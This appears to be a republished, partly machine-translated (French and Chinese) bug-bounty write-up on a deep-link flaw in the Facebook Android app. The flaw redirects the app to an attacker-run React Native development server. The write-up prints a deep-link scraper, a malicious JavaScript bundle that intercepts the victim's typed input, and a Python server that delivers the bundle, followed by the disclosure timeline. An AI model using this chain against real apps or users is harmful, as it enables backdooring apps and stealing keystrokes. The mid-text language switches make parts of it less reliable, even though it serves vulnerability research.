Comment utiliser les liens profonds vers l'application Facebook de porte dérobée-Sécurité-php.cn

Récemment, l'auteur a découvert une vulnérabilité de lien profond dans l'application Facebook Android. Grâce à cette vulnérabilité, l'application Facebook Android installée sur le téléphone mobile de l'utilisateur peut être convertie en un programme de porte dérobée (Backdoor) pour réaliser une porte dérobée. De plus, cette vulnérabilité peut également être utilisée pour reconditionner l'application Facebook et l'envoyer à des victimes cibles sélectionnées pour installation et utilisation. Jetons un coup d'œil au processus de découverte de cette vulnérabilité par l'auteur et comment elle a finalement été transformée en un risque de sécurité dans l'environnement de production réel de l'application Facebook via la construction de Payload.

Découverte de vulnérabilités

Habituellement, lorsque je fais des tests publics, je comprends d'abord soigneusement le mécanisme d'application du système cible. Dans mon dernier blog, j'ai partagé une expérience de découverte de liens profonds (liens profonds) dans les applications de paramètres FB4A en analysant l'application Facebook. Ici, je vais d'abord partager un fichier de script que j'ai écrit, qui peut découvrir automatiquement les liens profonds de l'application Facebook (liens profonds). Le fichier de script est - Facebook Android Deeplink Scraper (FBLinkBuilder.py), qui est un programme de code basé sur Python dédié à l'extraction de liens profonds (liens profonds) à partir de Facebook APK :

import os 
import json
import argparse
from zipfile import ZipFile 
from datetime import datetime

fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename

parser = argparse.ArgumentParser() 
parser.add_argument('-i', help='Facebook APK file')
parser.add_argument('-o', help='Output file', nargs='?', default=fname)
parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False)
args = parser.parse_args()

file_name = args.i #apk
output_name = args.o #generated output / provided
exported = args.e #False / provided

with ZipFile(file_name, 'r') as zip: 
    print('Extracting native routes file...') #fyi
    
    data = zip.read('assets/react_native_routes.json') #extract file from zip
    js = json.loads(data.decode("utf-8")) #to read as list

    params = '' #placeholder
    
    i = 0 #deeplink count
    
    text_file = open(output_name, "w") #open output

    print('Manipulating data...') #fyi
    for key in js: #for each block in json
        for key2 in key['paramDefinitions']: #grab the collection of params
            params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type
            
        if exported: #exported only
            if key.get('access','') != 'exported': #check access key
                params = '' #Reset params
                continue #try next block
                
        link = 'fb:/' + key['path'] + '/?' + params #build link
        print(link[:-1]) #fyi
        text_file.write(link[:-1]+ '\n') #write to file
        i += 1 #increase counter
        params = '' #reset params

    text_file.close() #save file
    
    print('File: ' + output_name + ' saved') #fyi
    print(str(i) + ' deep links generated') #fyi

Copier après la connexion

Source de téléchargement : https://github.com/ashleykinguk /FBLinkBuilder/

Usage : .FBLinkBuilder.py -i fb0409.apk

En exécutant FBLinkBuilder.py, nous pouvons comparer les liens profonds qui apparaissent entre différentes versions d'application pour observer les différentes versions d'application modifiées par le service d'application, j'ai utilisé ceci méthode pour découvrir un lien profond dangereux dans la version 2020 de l'application Facebook : fb://rnquantum_notification_handler/?address=, ce qui est la première fois que l'application Facebook est ajoutée à la version 2020 de.

Le formulaire de paramètre de ce lien profond est hostname/ip, j'ai donc utilisé mon propre serveur 192.168.0.2 pour faire un test : fb://rnquantum_notification_handler/?address=192.168.0.2:8224, j'ai passé ce lien, le La fenêtre contextuelle suivante apparaîtra dans l'application Facebook :

如何利用深度链接方式后门化Facebook APP Après avoir cliqué sur le bouton "Activer Quantum", l'application Facebook sera redémarrée. Après cela, j'ai essayé de trouver les modifications, mais il ne semblait y avoir rien d'inhabituel. il. Ensuite, j'ai porté mon attention sur le trafic réseau. À cette époque, j'ai pensé à la fonction de test du chapeau blanc que Facebook avait récemment ouverte spécifiquement pour les chercheurs en sécurité qui peuvent utiliser cette fonction pour contourner temporairement l'épinglage de certificat de Facebook (épinglage de certificat). ) et d'autres restrictions de sécurité pour tester le trafic réseau des applications liées à Facebook. J'ai utilisé la fonction de test du chapeau blanc et j'ai constaté qu'après avoir effectué les opérations ci-dessus, l'application Facebook émettra la demande de lien sortant suivante :

http://192.168.0.2:8224/message?device=Android+SDK+built+ for+ x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImpl

http://192.168.0.2:8224/status

Le premier mécanisme de requête ici consiste à transmettre les informations d'attribut de l'appareil mobile en fonction de , et a l'intention d'établir une connexion websocket ; la deuxième requête renvoie les informations d'état de l'hôte demandeur packager-status:running, qui est un paramètre intégré du code source natif de Facebook. Vous pouvez vous référer à Github : /com/. facebook/react/devsupport/DevServerHelper .java.

Et lorsque j'ai essayé de créer un message de réponse sur mon propre serveur 192.168.0.2, j'ai trouvé une autre requête générée par l'application Facebook :

http://192.168.0.2:8224/RKJSModules/EntryPoints/Fb4aBundle .bundle?platform =android&dev=true&minify=false

Le but de cette requête est de trouver les paramètres FB4A stockés dans le fichier du package. L'analyse préliminaire montre que les paramètres doivent être stockés dans l'application Facebook en texte brut au lieu du format hbc* habituel. J'ai essayé de saisir les paramètres FB4A au format hbc* pour les tests, mais cela a fini par faire planter l'application Facebook.
En fait, pour Facebook APP, avant 2019, ses fichiers d'emballage (bundles) étaient stockés dans un fichier formel dans le répertoire /assets/, mais après 2019, Facebook a introduit le format hbc (*Hermes ByteCode), d'une part, pour alléger l'APK, et d'autre part, pour empêcher que le code principal soit rendu explicite. Bien que j'aie essayé d'utiliser l'outil de format hbc HBCdump pour générer un fichier de package d'environ 250 Mo pour l'application Facebook, cela semblait inutile.

Après avoir détourné l'application Facebook

, j'ai pensé à une autre façon de trouver les fichiers packagés : c'est-à-dire en vérifiant l'ancienne version de l'application Facebook et en comparant le contenu du package en texte clair avec le message d'erreur généré par l'appareil mobile. le message est visible via logcat. Après une comparaison, j'ai trouvé les indices suivants :

__fbBatchedBridge - un objet nécessaire dans le fichier du package, qui contient divers composants fonctionnels synchronisés avec l'application APP ;

__fbBatchedBridge.callFunctionReturnFlushedQueue - une fonction appelée par l'arrière-plan de l'APP, à chaque appel ; effectuera l’action ou l’événement correspondant.

Sur la base des résultats ci-dessus, mon idée est de permettre à Facebook APP de télécharger et d'exécuter avec succès le fichier de package que j'ai construit. Afin d'atteindre cet objectif, je dois écrire le fichier de package moi-même, puis l'héberger sur moi-même. hôte hébergé 192.168.0.2 milieu. Voici le fichier de package FB4abundle.js que j'ai construit :

/* contact@ash-king.co.uk */

var i = 0, logs = ''; /* our local vars */

/*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */
var __fbBatchedBridge = { 
	_lazyCallableModules: {},
	_queue: [[], [], [], 0],
	_callID: 0,
	_lastFlush: 0,
	_eventLoopStartTime: Date.now(),
	_immediatesCallback: null,
    callFunctionReturnFlushedQueue: function(module, method, args) {
		return __fbBatchedBridge.__guard(function() {
		  __fbBatchedBridge.__callFunction(module, method, args)
		}), __fbBatchedBridge.flushedQueue()
	},
    callFunctionReturnResultAndFlushedQueue: function(e, u, s) {
		return __fbBatchedBridge.__guard(function() {
		  throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a);
		}), __fbBatchedBridge.flushedQueue()
	},
    invokeCallbackAndReturnFlushedQueue: function(a,b,c) { 
		throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a);
	},
	flushedQueue: function(a, b) {
		if(a != undefined){
			throw new Error('flushedQueue: ' + b)
		}
		__fbBatchedBridge.__callImmediates(); 
		const queue = __fbBatchedBridge._queue;
		__fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID];
		return queue[0].length ? queue : null;
	},
	onComplete: function(a) { throw new Error(a) },	
	__callImmediates: function() {
		if (__fbBatchedBridge._immediatesCallback != null) {
		  __fbBatchedBridge._immediatesCallback();
		  throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback());
		}
	},
	getCallableModule: function(a) { 
		const getValue = __fbBatchedBridge._lazyCallableModules[a];
		return getValue ? getValue() : null;
	},
	__callFunction: function(a,b,c) {
		if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings
			i += 1 //increment count
			logs += JSON.stringify(c) + '\n'; //JSON Object
			if(i > 10) {
				/* Here is where we will write out to logcat via js*/
				var t = (nativeModuleProxy);
				throw new Error('Look HERE: ' + (logs) + '\n\r'); 
			}
		}
		__fbBatchedBridge._lastFlush = Date.now();
		__fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush;
		const moduleMethods = __fbBatchedBridge.getCallableModule(a);
		try {
			moduleMethods[b].apply(moduleMethods, c);
		} catch (e) {
			
		}
		return -1
	},
	__guard: function(e) {
		try {
			e();
		} catch (error) {
			throw new Error('__guard: ' + error); 
		}	
	}
};

Copier après la connexion

另外需要一个脚本文件fb_server.py，以便让Facebook APP自动调用该包文件

#contact@ash-king.co.uk

from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(500)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))

    def do_GET(self):
        if self.path == '/status':
            self.resp_status()
        elif str(self.path).find('message?device=') > -1:
            self.resp_message()
        elif str(self.path).find('Fb4aBundle.bundle') > -1:
            self.resp_fb4a()

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8'))
        self._set_response()
        self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

    def resp_message(self):
        logging.info("resp_message")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

    def resp_status(self):
        logging.info("resp_status")
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(bytes("packager-status:running", "utf-8"))
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        
    def resp_fb4a(self):
        logging.info("resp_bundle")
        self.send_response(200)
        self.send_header('Content-type', 'multipart/mixed')
        self.end_headers()
        with open('FB4abundle.js', 'rb') as file: 
            self.wfile.write(file.read())
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))

def run(server_class=HTTPServer, handler_class=S, port=8224):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    run()

Copier après la connexion

综合深度链接、包文件调用和我自己构造加入的"Enable Quantum"URL链接，最终我可以向Facebook APP调用包文件中加入我自制的代码，并由其中的深度链接来实现调用。在我的POC漏洞验证展示中，如果受害者运行了我重打包的Facebook APP后，我可以拦截他在Facebook APP中的输入字符流量，如拦截他输入的5个字符流量“testi”，并会在logfile中显示他实际输入的字符，且最终会产生一个告警提示：

如何利用深度链接方式后门化Facebook APP

漏洞影响

恶意攻击者可以利用该漏洞，通过物理接触移动设备上的APP或向受害者发送重打包APP的方式，向受害者移动端设备APP中植入持久化连接，对受害者设备APP形成长期感知探测的后门化。

然而，一开始，Facebook安全团队却忽略了该漏洞，他们选择了关闭该漏洞报告并分类为不适用（not applicable），他们给出的解释为：

Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.

之后，我就公布了POC验证视频，一小时后，Facebook安全团队的雇员联系了我，声称他们重新评估了该漏洞，并要求我删除了该POC验证视频。但在视频删除前，至少30多名观众看过了该视频。

Facebook安全团队的漏洞评估

“重新评估该漏洞后，我们决定按我们的众测标准给出对该漏洞给予奖励，在你上报的漏洞中，描述了可让受害者重定向到一个攻击者控制的 React Native Development服务端，并向受害者APP中植入恶意代码的场景，感谢你的漏洞上报。”

漏洞上报和处理进程

2020.6.20 - 漏洞上报
2020.6.22 - 提供技术细节
2020.6.23 - Facebook把该漏洞分类为N/A
2020.6.23 - 我在Youtube上公布POC视频
2020.6.23 - Facebook重新评估该漏洞并要求我删除POC视频
2020.6.24 - 漏洞分类
2020.6.26 - Facebook通过关闭Quantum功能进行缓解
2020.8.20 - Facebook修复该漏洞
2020.9.17 - Facebook赏金奖励支付

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!